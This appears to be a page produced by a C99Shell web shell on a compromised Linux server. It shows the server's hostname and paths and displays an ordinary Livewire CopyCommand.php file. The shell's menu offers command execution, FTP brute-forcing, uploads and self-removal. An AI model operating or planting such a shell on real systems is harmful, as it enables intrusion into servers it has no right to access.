!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/livewire/livewire/src/Commands/   drwxr-xr-x
Free 29.13 GB of 117.98 GB (24.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CopyCommand.php (3.16 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Livewire\Commands;

use 
Illuminate\Support\Facades\File;

#[
\AllowDynamicProperties]
class 
CopyCommand extends FileManipulationCommand
{
    protected 
$signature 'livewire:copy {name} {new-name} {--inline} {--force} {--test}';

    protected 
$description 'Copy a Livewire component';

    public function 
handle()
    {
        
$this->parser = new ComponentParser(
            
config('livewire.class_namespace'),
            
config('livewire.view_path'),
            
$this->argument('name')
        );

        
$this->newParser = new ComponentParserFromExistingComponent(
            
config('livewire.class_namespace'),
            
config('livewire.view_path'),
            
$this->argument('new-name'),
            
$this->parser
        
);

        
$force $this->option('force');
        
$inline $this->option('inline');
        
$test $this->option('test');

        
$class $this->copyClass($force$inline);
        if (! 
$inline$view $this->copyView($force);
        if (
$test){
            
$test $this->copyTest($force);
        }
        
$this->refreshComponentAutodiscovery();

        
$this->line("<options=bold,reverse;fg=green> COMPONENT COPIED </> ðŸ¤™\n");
        
$class && $this->line("<options=bold;fg=green>CLASS:</> {$this->parser->relativeClassPath()} <options=bold;fg=green>=></> {$this->newParser->relativeClassPath()}");
        if (! 
$inline$view && $this->line("<options=bold;fg=green>VIEW:</>  {$this->parser->relativeViewPath()} <options=bold;fg=green>=></> {$this->newParser->relativeViewPath()}");
        if (
$test$test && $this->line("<options=bold;fg=green>Test:</>  {$this->parser->relativeTestPath()} <options=bold;fg=green>=></> {$this->newParser->relativeTestPath()}");
    }

    protected function 
copyTest($force)
    {
        if (
File::exists($this->newParser->testPath()) && ! $force) {
            
$this->line("<options=bold,reverse;fg=red> WHOOPS-IE-TOOTLES </> ðŸ˜³ \n");
            
$this->line("<fg=red;options=bold>Test already exists:</> {$this->newParser->relativeTestPath()}");
            return 
false;
        }

        
$this->ensureDirectoryExists($this->newParser->testPath());

        return 
File::copy("{$this->parser->testPath()}"$this->newParser->testPath());
    }

    protected function 
copyClass($force$inline)
    {
        if (
File::exists($this->newParser->classPath()) && ! $force) {
            
$this->line("<options=bold,reverse;fg=red> WHOOPS-IE-TOOTLES </> ðŸ˜³ \n");
            
$this->line("<fg=red;options=bold>Class already exists:</> {$this->newParser->relativeClassPath()}");

            return 
false;
        }

        
$this->ensureDirectoryExists($this->newParser->classPath());

        return 
File::put($this->newParser->classPath(), $this->newParser->classContents($inline));
    }

    protected function 
copyView($force)
    {
        if (
File::exists($this->newParser->viewPath()) && ! $force) {
            
$this->line("<fg=red;options=bold>View already exists:</> {$this->newParser->relativeViewPath()}");

            return 
false;
        }

        
$this->ensureDirectoryExists($this->newParser->viewPath());

        return 
File::copy("{$this->parser->viewPath()}"$this->newParser->viewPath());
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--